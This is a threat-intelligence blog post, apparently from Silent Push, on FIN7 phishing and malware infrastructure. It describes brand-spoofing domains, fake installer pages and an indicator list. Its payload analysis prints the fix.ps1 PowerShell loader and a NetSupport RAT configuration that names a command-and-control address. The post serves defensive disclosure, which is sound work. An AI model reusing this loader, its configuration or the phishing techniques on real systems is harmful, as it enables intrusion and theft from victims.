FIN7: Silent Push unearths the largest group of FIN7 domains ever discovered. 4000+ IOFA domains and IPs found. Louvre, Meta, and Reuters targeted in massive global phishing and malware campaigns.

July 10, 2024

Painting of the Mona Lisa wearing a Ushanka hat hung up on a dirty wall

Key findings
Executive Summary
Background
Additional information
Initial discovery
Corporate fronts used for FIN7 spearphishing
FIN7 shell domains morphing into phishing websites
Miscellaneous phishing
Rented FIN7 infrastructure (Stark Industries)
FIN7 malware infrastructure
FIN7 malware payload analysis
Mitigating FIN7 activity
Register for Community Edition
IOFAs

Key findings

FIN7-related attacks resurface, a year after DOJ claimed victory
4000+ FIN7 shell/phishing domains and subdomains discovered, with nearly half active in the last week
Prominent global brands targeted, including Reuters, Meta and Microsoft
“Requires Browser Extension” malware re-appears in the wild

Executive Summary

FIN7 (also known as Sangria Tempest, ATK32, Carbon Spider, Coreid, ELBRUS, G0008, G0046, and GOLD NIAGARA) are a financially-motivated threat group with links to Russia, that has been operating since at least 2013, who were previously thought to have been eliminated by the DOJ.

FIN7 primarily targets US-based retail, hospitality, tech, consulting, financial services, medical equipment, media, transportation, and utilities industries using:

T1566 – Spearphishing (for credentials and credit card information)
T1486 – Data Encrypted for Impact (Ransomware)
T1176 – Malicious Browser Extensions
T1056.003 – Web Portal Capture
T1189 – Drive-by Compromise
T1665 – Hide Infrastructure
T1583.008 – Malvertising

Our research proves the group has either resurfaced, or threat actors are repurposing FIN7 TTPs and infrastructure to propagate a fresh set of campaigns utilizing over 4000 domains and subdomains, with nearly half active in the last week.

From a single origin point, Silent Push Threat Analysts have uncovered an extensive series of FIN7 campaigns, including several hundred active phishing, spoofing, shell and malware delivery domains and IPs targeting the following organizations: Louvre Museum, Meta, Reuters (and WestLaw), Microsoft 365, Wall Street Journal, Midjourney, CNN, Quickbooks, Alliant, Grammarly, Airtable, Webex, Lexis Nexis, Bloomberg, Quicken, Cisco (Webex), Zoom, Investing[.]com, SAP Concur, Google, Android Developer, Asana, Workable, SAP (Ariba), Microsoft (Sharepoint), RedFin, Manulife Insurance, Regions Bank Onepass, American Express, Twitter, Costco, DropBox, Netflix, Paycor, Harvard, Affinity Energy, RuPay, Goto[.]com, Bitwarden, and Trezor.

Software being targeted includes 7-zip, PuTTY, ProtectedPDFViewer, AIMP, Notepad++, Advanced IP Scanner, AnyDesk, pgAdmin, AutoDesk, Bitwarden, Rest Proxy, Python, Sublime Text, and Node.js

Silent Push Threat Analysts have also identified an active cybersecurity shell company – cybercloudsec[.]com – which is being used to facilitate FIN7 activity, in line with previous attack vectors.

Silent Push Enterprise users have access to a dedicated TLP Amber report, containing the specific data categories, content scans and advanced DNS queries we used as well as four dedicated FIN7 IOFA Feeds.

Background

FIN7 are sometimes associated with the Carbanak threat group (as distinct from the Carbanak malware – a backdoor attack vector FIN7 have been known to use), however both are tracked differently.

Numerous researchers and threat intelligence teams have attributed FIN7 activity to Russia-linked threat actors. Prominent members of the group have been convicted in Russian courts, or have strong ties to the region.

In April 2021, Acting U.S. Attorney Gorman May 2023 said: “This criminal organization had more than 70 people organized into business units and teams. Some were hackers, others developed the malware installed on computers, and still others crafted the malicious emails that duped victims into infecting their company systems”.

In May 2023, U.S. Attorney Nick Brown announced that FIN7 “as an entity is no more“, after three prominent members of the group were convicted in a federal court for Conspiracy to Commit Wire Fraud and Conspiracy to Commit Computer Hacking.

Less than a month later, Microsoft Threat Intelligence (tracking the group as “Sangria Tempest”) observed the group using OpenSSH and Impacket to move laterally and deploy Clop ransomware.

Our Analysts have discovered legacy FIN7 domains, malware and TTPs in the wild, including spearphishing attack vectors that are listed in the federal indictment.

Additional information

This blog contains a public overview of how we identified and traversed FIN7 infrastructure. Certain key data types and threat hunting techniques have been omitted, for operational security reasons.

Enterprise customers have access to all related intelligence in the aforementioned TLP Amber report.

Initial discovery

A few weeks ago, we discovered a suspect domain that our Analysts recognized as bearing all the hallmarks of a FIN7 domain.

After confirming our findings by corroborating the domain with well-publicized FIN7 TTPs, we used the Silent Push platform to construct granular queries that first identified linked domains across common hosts.

We then confirmed true positive phishing and malware infrastructure using sandboxed browser testing and executable analysis.

Corporate fronts used for FIN7 spearphishing

FIN7 infrastructure is known to contain corporate “shell” domains masquerading as legitimate businesses online, to deploy spearphishing campaigns that inject ransomware and other forms of malware.

Previous attacks have involved FIN7 initiating contact with potential victims, before using shell domains to operate under the guise of legitimacy, when propagating attacks.

Our dedicated feeds contain over 4000 shell domains and subdomains, which is a conglomeration of everything we’ve discovered, including hundreds of websites propagating spear-phishing activity across a broad variety of industries and sectors.

Here’s a few examples, including one targeting Quickbooks:

Fake cybersecurity company (cybercloudsec[.]com)

In 2021, three members of FIN7 were sentenced to between 5-10 years each in a federal prison for their role in a multi-million dollar hacking conspiracy.

The indictment describes the use of a fake cybersecurity company – Combi Security – as a front to recruit other threat actors, and provide an air of legitimacy to an operation that involved uploading malware onto POS terminals, credit card fraud, spearphishing, and spoofing.

Old habits do indeed die hard. Whilst hunting for domains across Stark Industries infrastructure in our dedicated FIN7 IOFA feed that mentioned “cyber”, “secure”, or “security”, we came across cybercloudsec[.]com and that bears all the hallmarks of a FIN7 shell domain.

cybercloudsec[.]com appears to have began its life in 2011 as a legitimate business domain, registered out of Virginia:

Twitter profile for the original cybercloudsec[.]com

Nowadays it’s hosting a site that is being operated using legacy FIN7 TTPs:

FIN7 landing page for fake cybersecurity company — *Landing page for cybercloudsec[.]com*

At this stage, we’re unsure as to the domain’s specific role in the attack chain, but due to a set of common characteristics, we can safely assume that it’s operating in much the same way as the aforementioned Combi Security, which played a prominent role in the 2021 federal indictment.

FIN7 shell domains morphing into phishing websites

A common FIN7 TTP is to take what were formerly shell domains, and morph them into conventional spoofing websites (via redirects or on-page content) targeting users of well-known brands with phishing and malware delivery.

From our analysis, content is served based on a range of user-specific parameters. Domains may or may not populate based on geographic region, IP address, local time, type of connection and browser settings (e.g. JavaScript being enabled).

Morphed domain (Alliant)

escueladeletrados[.]com was accessed on June 9, 2024 via a browser session behind a VPN.

At one point in its life, the domain presented as a shell website, however when accessed live with a different set of user parameters, it returned a phishing page targeting Alliant Credit Union.

Here are the two different versions of the same domain:

Morphed domain targeting Alliant — *escueladeletrados[.]com as an Alliant phishing page on 9 June*

Shell domain — *escueladeletrados[.]com as a shell domain on 9 June*

Morphed domain (Meta)

FIN7 infrastructure actively targets large tech brands in an attempt to capture login traffic meant for legitimate online portals.

In one example, miidjourney[.]net changed from a fake corporate fashion website, to a Meta phishing page relatively quickly.

FIN7 Meta phishing page — *Meta phishing page @ miidjourney[.]net*

Unfortunately, we weren’t able to archive the original content on this site before it changed to the Meta phishing page, however, Google cached the previous page pages—as you can see, this was at one point a shell website with random content:

The link shortener URL attached to the action button sends visitors to: ln[.]run/supportcenterbusiness. We were unable to trigger the next stage of the phishing campaign.

We conducted further content similarity scans that unearthed three more multi-stage Meta phishing domains:

go-ia[.]info redirecting to accountverify.business-helpcase718372649[.]click/
go-ia[.]site redirecting to themetasupporrtbusiness.nexuslink[.]click/
go-ia[.]site domain triggers payloads on themetasupporrtbusiness.nexuslink[.]click/.

The page progression is captured below:

FIN7 Meta phishing page - first stage payload — *First stage payload on themetasupporrtbusiness.nexuslink[.]click*

FIN7 Meta phishing page - second stage payload — *Second stage payload*

We conducted a test with a temporary SMS number, but didn’t receive any additional details. It appears that once a user inputs a phone number, email and birthday, a series of password prompt screens appear asking them to verify their Facebook password:

FIN7 Meta phishing page - screen 1 — *Password prompt screen 1*

FIN7 Meta phishing page - screen 2 — *Password prompt screen 2*

The login submission POST request sends via “kun-quang-api.lordofscan[.]pro/LoginProcess/api/login_submit”. Only marginal intel is available about this domain. We’ve only captured one live page from it in 2023, with the HTML title, “Log in – DomainManagement”. Other than that, it’s hosted on Cloudflare and registered in Vietnam via GMO INTERNET, INC.

Grouped FIN7 domains (Iranian bank)

Morphed shell domains aren’t limited to an isolated URL. Quite often, domains will be grouped together with similar apex domains and different TLDs, targeting the same set of users.

Here’s a group of such domains targeting users of Bank Mellat – a national bank in Iran. As you can see, none of these domains are typosquatting the actual domain – bankmellat[.]ir.

treidingviw-web[.]xyz
treidingviw-web[.]shop
treidingviw-web[.]lol
tredildlngviw[.]xyz
tredildlngviw[.]shop

FIN7 phishing page targeting Iranian bank

Shell domain phishing redirect (RMS Cloud)

Another observed tactic is that shell domains are occasionally used in a conventional redirect chain to send users to spoofed login pages.

For example, the former shell domain www.tivi2[.]com redirects on visit to app.rmscloud[.]pro/login/, which is itself a phishing page targeting the legitimate property management portal rmscloud[.]com.

*RMS Cloud portal phishing page @ www.tivi2[.]com*

Quite often these redirected domains feature an accessible open directory. Here’s an example from womansvitamin[.]com containing Anydesk.exe files.

Our team tested the contents and discovered that, as of the time of this report, these are legitimate versions of the Anydesk application. However, it is possible they may be replaced in the future with malicious versions.

Miscellaneous phishing

Sometimes, a conventional brand impersonation/typosquat redirect is deployed, to capture traffic meant for legitimate businesses, where the initial URL is spelt similarly to the destination phishing page.

In this example targeting users of the popular WordPress plugin WP Engine, www.wpenglneweb[.]com redirects to a phishing domain at identity-wpengine[.]com/session_id/login/

FIN7 WP Engine phishing page @ *identity-wpengine[.]com/session_id/login/*

Here’s another example targeting DCU[.]org (Digital Federal Credit Union) – ddcccuuu[.]online:

Louvre Museum payment scraping

Here’s another example targeting visitors to the Louvre Museum in the run-up to the 2024 Paris Olympics. louvre-event[.]com redirects to the phishing page book.louvre-ticketing[.]com:

FIN7 Louvre Museum phishing page — *louvrebill[.]click redirecting to book.louvre-ticketing[.]com*

In another TTP, paris-journey[.]com redirects to louvrebil[.]click, which redirects users to paybx[.]world to “collect payment” for tickets.

Here’s a video outlining the redirect process:

Crypto wallet phishing

Our analysts were able to find an unfinished FIN7 domain – emeraldblockestates[.]com – being used to develop what appears to be a new phishing module, built for targeting numerous crypto companies.

Here’s a video demonstrating the attack chain:

Brands targeted include Coinbase, Metamask, Rainbow Crypto Wallet, Ronin Wallet, OKX Wallet, Trust Wallet, Exodus, Phantom, and WalletConnect.

Rented FIN7 infrastructure (Stark Industries)

FIN7 rents a large amount of dedicated IPs on a number of hosts, but primarily on Stark Industries, historically considered a bulletproof hosting provider, “dedicated IPs” here meaning those IP ranges with verified FIN7 domains and less than 200 subdomains/domains mapped to a given IP.

Our threat analysts have discovered numerous Stark Industries IPs that are solely dedicated to hosting FIN7 infrastructure.

Here’s a Silent Push Explore DNS query we ran on one such domain – 103.35.191[.]28. All of the domains hosted on this IP share the common string “meet-go”, and are verified FIN7 domains with different TLDs.

*Stark Industries FIN7 infrastructure on 103.35.191[.]28*

Other dedicated hosts, not on Stark Industries, also feature a mix of FIN7 domains targeting more than one brand, across numerous industries.

89.105.198[.]190 on NOVOSERVE-AS, NL hosts multiple spoofing domains targeting brands such as like Airtable, Webex, Lexis Nexis, Bloomberg, and Quicken.

*Stark Industries FIN7 infrastructure on 89.105.198[.]190*

FIN7 malware infrastructure

Public research from organizations like Esentire, RedCanary, and Blackberry about FIN7 attack vectors includes a specific template the threat actor uses for distributing MSIX malware via Google ads and possibly other channels, describe MSIX installers linked to FIN7, and reference the FIN7 “powertrash” (a part of the MSIX payload) process each have seen.

Most of these web pages feature a pop-up with the phrase “Requires Browser Extension!”.

Here’s an example targeting Reuters News Agency on thomsonreuter[.]info (we’ve also discovered Reuters phishing infrastructure on thomsonreuter[.]pro and westlaw[.]top, targeting the Reuters Westlaw product):

In December of 2023, Microsoft also observed FIN7 using MSIX malware and a Windows Trojan, EugenLoader, to inject Carbanak – a piece of software that the group has used for a decade to deliver the Gracewire implant.

Our Analysts have discovered a pool of FIN7 domains which appear to be mostly used for delivering malware – these include the “Requires Browser Extension” page highlighted above.

Hunting for FIN7 malware infrastructure

To reveal additional infrastructure, we investigated an IP (103.113.70[.]142) that was seen to be hosting three malware delivery domains – concur[.]pm, concur[.]re, and concur[.]cfd – all involved in spoofing SAP Concur.

*FIN7 malware infrastructure on 103.113.70[.]142*

We then created a Silent Push Web Scanner query that identified matching content across Stark Industries hosts.

This scan uncovered a large amount of new FIN7 infrastructure, including several new page templates that are likely serving malware, based on user-specific and browser-specific geo/IP parameters, with most of the live domains we discovered featuring the aforementioned browser extension malware.

August 13, 2024 Update: After publishing this Fin7 research, Silent Push collaborated with Team Cymru and Stark Industries to take down Fin7 infrastructure on their network and hunt for additional hosts. A write up of the collaboration can be found here.

Microsoft malware

We also discovered FIN7 infrastructure spoofing Microsoft Sharepoint. dr1ve[.]xyz features a “The file could not be opened” prompt, which leads to a download button.

We are yet to observe malware being delivered via this piece of infrastructure, but the potential is there for it to be deployed as an attack vector targeting other users operating with a different set of geo and browser parameters:

Using domain metadata and on-page content, we executed a Web Scanner query that revealed even more FIN7 spoofing infrastructure, including the linked domains driv7[.]com, and driv3[.]net, which are likely part of the same Sharepoint campaign as the above domain.

Developer malware

Amongst the larger pool of domains was hotnotepad[.]com, which was hosting a phishing site offering a suspicious Python download.

Whilst a legitimate version of Python was offered to our Analysts in live testing, as with most other FIN7 infrastructure, users in other regions, with different browser settings, may have a different experience when visiting the domain and triggering the download.

FIN7 fake Python page — *hotnotepad[.]com*

We then used hotnotepad[.]com to construct a query using a combination of HTML and DNS data, and were able to uncover yet more infrastructure hosting spoofed developer-focused content, with links that expose malicious payloads based on user parameters.

FIN7 fake Sublime Text page — *“Download Sublime Text” @ netepadtee[.]com*

FIN7 fake JavaScript page — *“Download Node.js” @ multyimap[.]com*

FIN7 malware payload analysis

Let’s take a closer look at a piece of FIN7 malware. For our analysis, we’re using LexisNexis.msix

Type: Zip archive file
MD5: ff25441b7631d64afefdb818cfcceec7
Compression: Deflate

To masquerade as a trusted executable, the malware has appropriated certificate data from what appears to be a Chinese manufacturing company, Cangzhou Chenyue Electronic Technology:

<Identity Name="LexisNexis" Publisher="CN="Cangzhou Chenyue Electronic Technology Co., Ltd.", O="Cangzhou Chenyue Electronic Technology Co., Ltd.", L=Cangzhou, S=Hebei, C=CN, SERIALNUMBER=91130922MA0G8AN920, OID.1.3.6.1.4.1.311.60.2.1.1=Cangzhou, OID.1.3.6.1.4.1.311.60.2.1.2=Hebei, OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization" Version="4.12.98.0" />

The malware has the following embedded configuration:

{
  "applications": [
    {
      "id": "NOTEPAD",
      "executable": "VFS\\ProgramFilesX64\\PsfRunDll64.exe",
      "scriptExecutionMode": "-ExecutionPolicy RemoteSigned",
      "startScript": {
        "waitForScriptToFinish": false,
        "runOnce": false,
        "showWindow": false,
        "scriptPath": "fix.ps1"
      }
    }
  ]
}

And here’s the executing script, fix.ps1:

$url = "https://www.lexisnexis.com/"
Start-Process $url

$domain = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain

if ($domain -eq "WORKGROUP") {
} else {
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public\Client -p1234567890"
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e C:\Users\Public\Client\client1.7z -oC:\Users\Public\Client -p1234567890"
    $path = "C:\Users\Public\Client\client32.exe"
    Start-Process $path
}

Delivery chain

Analysing the attack chain, it’s clear that the malware is designed to target domain-joined machines, and all the corporate data they have to offer.

The malware seeks to obtain eleveated privileges, including lateral movement and access to Active Directory.

The attack starts when the script opens the LexisNexis website, either as a distraction or to mimic legitimate user activity.
The malware then checks if the machine is part of a domain, or in a workgroup.
If the machine isn’t in a workgroup, the script extracts two encrypted 7-Zip archives (password: 1234567890) and runs an executable from the extracted data

Extracted package

Type: Remote Access Trojan
Name: NetSupport RAT
C2 infrastructure: 166.88.159[.]37
Licensee: MGJFFRT466

Embedded configuration:

; NetSupport License File.
; Generated on 00:48 - 19/03/2014

[[Enforce]]

[_License]
control_only=0
expiry=
inactive=0
licensee=MGJFFRT466
maxslaves=100000
os2=1
product=10
serial_no=NSM301071
shrink_wrap=0
transport=0

[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableDisconnect=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
Protocols=3
Shared=1
silent=1
SKMode=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=0
Usernames=*
ValidAddresses.TCP=*

[_Info]
Filename=C:\Users\Public\Pictures\client32u.ini

[_License]
quiet=1

[Audio]
DisableAudioFilter=1

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=166[.]88.159.37:443
GSK=GC:D?GCDFH9J<LBBGH;E>ODG<C@KCI
SecondaryGateway=
SecondaryPort=

[TCPIP]
MulticastListenAddress=

Similar FIN7 malware

Our Analysts used internal tooling to pivot on key DLL elements of the malware, and discover links to other MSIX files targeting a range of organizations:

FILE NAME	COMPANY NAME	FILE HASH
pgadmin4.msix	pgAdmin	032d68449a93200aa257943b7e22e619e5ab383f61c7466f7872eeba5ea5b838
airtable-x64.msix	Airtable	03c84ae3bdd28341bdb9ef24918c3cad6c9ed27c768d351f23e6d37bf048f7a4
Workable_4.12.7.msix	Workable	184a400fe334027ff287ad0cf83c165fdf4605507c83ec054fb2b544f877163c
CNN.msix	CNN	1d17937f2141570de62b437ff6bf09b1b58cfdb13ff02ed6592e077e2d368252
Asana.msix	Asana	1e54b2e6558e2c92df73da65cd90b462dcafa1e6dcc311336b1543c68d3e82bc
GoogleMeet.msix	Google Meet	3869340562136d1d8f11c304f207120f9b497e0a430ca1a04c0964eb5b70f277
SAPConcur.msix	SAP Concur	41c671332b58f92187e32771ed1ba86c1ed256e36f036f74c91cf1aa7db07bc2
GrammarlyInstaller.msix	Grammarly	43f4d0ae8f84c36d635423719562cdb0f5d9647b79a758a33fdf4aa7540f5622
Westlaw_105.0.55.0_x64__3hat911yg85re.msix	Westlaw	448559c22bf09e6526b67defddcace275d7a0c580a38b0961165bc1efdb3367e
npp.Installer.x64.msix	Notepad++	50b102938d29cc7f61c67da6981545c69f70c7178d009ec1999ee0ddfe81ebba
QuickBooksInstaller.msix	QuickBooks	63750019f4a8498edc008a343be90aac8fbb3307ba7eb519fc5df16258dff19c
ZoomInstaller.msix	Zoom	8a24b6f83761561d8b71429f586248f264139aee2d8349f375ccbba702e4ecb2
AIMP.msix	AIMP	9953bbe13394bc6cd88fd0d13ceff771553e3a63ff84dc20960b67b4b9c9e48e
BloombergTerminal-x64.msix	Bloomberg Terminal	e8c6831d6e238df5a1f20fc00867b333474a659734ac46a9902fbbadaaf0b51e
PuTTY-64bit-0.79-installer (3).msix	PuTTY	fbec6e79b663d4c5e660a7aff23e392a4f1311382923669548945e8346edbffb
anyconnect-win.msix	Cisco AnyConnect	fdfd96f00e9e713cf86e2d32fb0c653b66fccc0e4969eac9f26d5cdcca98ff7d
ProtectedPDFViewer.msix	ProtectedPDFViewer	d73af3bd70f0f68846920d61fab8836cf8906a2876489801f6e130f4d92aa50d

Mitigating FIN7 activity

We’ve grouped together FIN7 domains and IPs into two dedicated IOFA Feeds.

Silent Push Enterprise users can ingest this data into their security stack, allowing them to block FIN7 infrastructure at its source.

Data is available for export in CSV, JSON or STIX format, or as an automated code snippet using the Silent Push API.

We’ve also published a TLP Amber report, for Enterprise users, that contains links to the specific queries, lookups and scans that we’ve used to identify and traverse FIN7 infrastructure – including proprietary parameters that we’ve omitted from this blog for operational security reasons.

Register for Community Edition

Silent Push Community Edition is a free threat hunting and cyber defense platform featuring a range of advanced offensive and defensive lookups, web content queries, and enriched data types, that we used to track FIN7.

Click here to sign-up for a free account.

IOFAs

103.113.70[.]142
103.35.191[.]28
89.105.198[.]190
2024sharepoint[.]lat
accountverify.business-helpcase718372649[.]click/
affinitycloudenergy[.]com
americangiftsexpress[.]com
androiddeveloperconsole[.]com
app.rmscloud[.]pro
app-trello[.]com
ariba[.]one
autodesk[.]pm
bloomberg-t[.]com
book.louvre-ticketing[.]com
concur[.]cfd
concur[.]pm
concur[.]re
concuur[.]com
costsco1[.]com
cybercloudsec[.]com
cybercloudsecure[.]com
dr1ve[.]xyz
driv3[.]net
driv7[.]com
escueladeletrados[.]com
ggooleauth[.]xyz
go-ia[.]info
go-ia[.]site
harvardyardcollection[.]com
hcm-paycor[.]org
https-twitter[.]com
hotnotepad[.]com
identity-wpengine[.]com/session_id/login/
kun-quang-api.lordofscan[.]pro/LoginProcess/api/login_submit
lexisnexis[.]day
ln[.]run/supportcenterbusiness
louvre-event[.]com
louvrebil[.]click
miidjourney[.]net
multyimap[.]com
netepadtee[.]com
netfiix-abofrance[.]com
onepassreglons[.]com
paris-journey[.]com
paybx[.]world
quicken-install[.]com
redfinneat[.]com
restproxy[.]com
rupaynews[.]com
techevolveproservice[.]com
themetasupporrtbusiness.nexuslink[.]click
themetasupporrtbusiness.nexuslink[.]click/
thomsonreuter[.]info
tredildlngviw[.]shop
tredildlngviw[.]xyz
treidingviw-web[.]lol
treidingviw-web[.]shop
treidingviw-web[.]xyz
trezor-web[.]io
trydropbox[.]com
wal-streetjournal[.]com
webex-install[.]com
westlaw[.]top
womansvitamin[.]com
wpenglneweb[.]com
www.tivi2[.]com
www.wpenglneweb[.]com
xn--manulfe-kza[.]com
xn--bitwardn-h1a[.]com
zoomms-info[.]com

Blog

ClickFix malware: Silent Push tracks 2,000+ domains and IPs affected by WordPress fake browser update infostealers.

October 30, 2024

News Source

Blog

Triad Nexus: Silent Push exposes FUNNULL CDN hosting DGA domains for suspect Chinese gambling sites, investment scams, a retail phishing campaign, and a polyfill.io supply chain attack impacting 110,000+ sites

October 22, 2024

News Source

Blog

"Don't feed the toll troll": Silent Push tracks new threat actor (IMP-1G) engaging in SMS phishing activities, targeting US and Canadian public services. 100+ IOFA domains discovered, with only 10% known to authorities.

October 10, 2024

News Source

Vulnerability Disclosure Policy | Terms of Service | Privacy Policy

FIN7: Silent Push unearths the largest group of FIN7 domains ever discovered. 4000+ IOFA domains and IPs found. Louvre, Meta, and Reuters targeted in massive global phishing and malware campaigns.

Table of contents

Key findings

Executive Summary

Background

Additional information

Initial discovery

Corporate fronts used for FIN7 spearphishing

Fake cybersecurity company (cybercloudsec[.]com)

FIN7 shell domains morphing into phishing websites

Morphed domain (Alliant)

Morphed domain (Meta)

Grouped FIN7 domains (Iranian bank)

Shell domain phishing redirect (RMS Cloud)

Miscellaneous phishing

Louvre Museum payment scraping

Crypto wallet phishing

Rented FIN7 infrastructure (Stark Industries)

FIN7 malware infrastructure

Hunting for FIN7 malware infrastructure

Microsoft malware

Developer malware

FIN7 malware payload analysis

Delivery chain

Extracted package

Similar FIN7 malware

Mitigating FIN7 activity

Register for Community Edition

IOFAs

ClickFix malware: Silent Push tracks 2,000+ domains and IPs affected by WordPress fake browser update infostealers.

Triad Nexus: Silent Push exposes FUNNULL CDN hosting DGA domains for suspect Chinese gambling sites, investment scams, a retail phishing campaign, and a polyfill.io supply chain attack impacting 110,000+ sites

"Don't feed the toll troll": Silent Push tracks new threat actor (IMP-1G) engaging in SMS phishing activities, targeting US and Canadian public services. 100+ IOFA domains discovered, with only 10% known to authorities.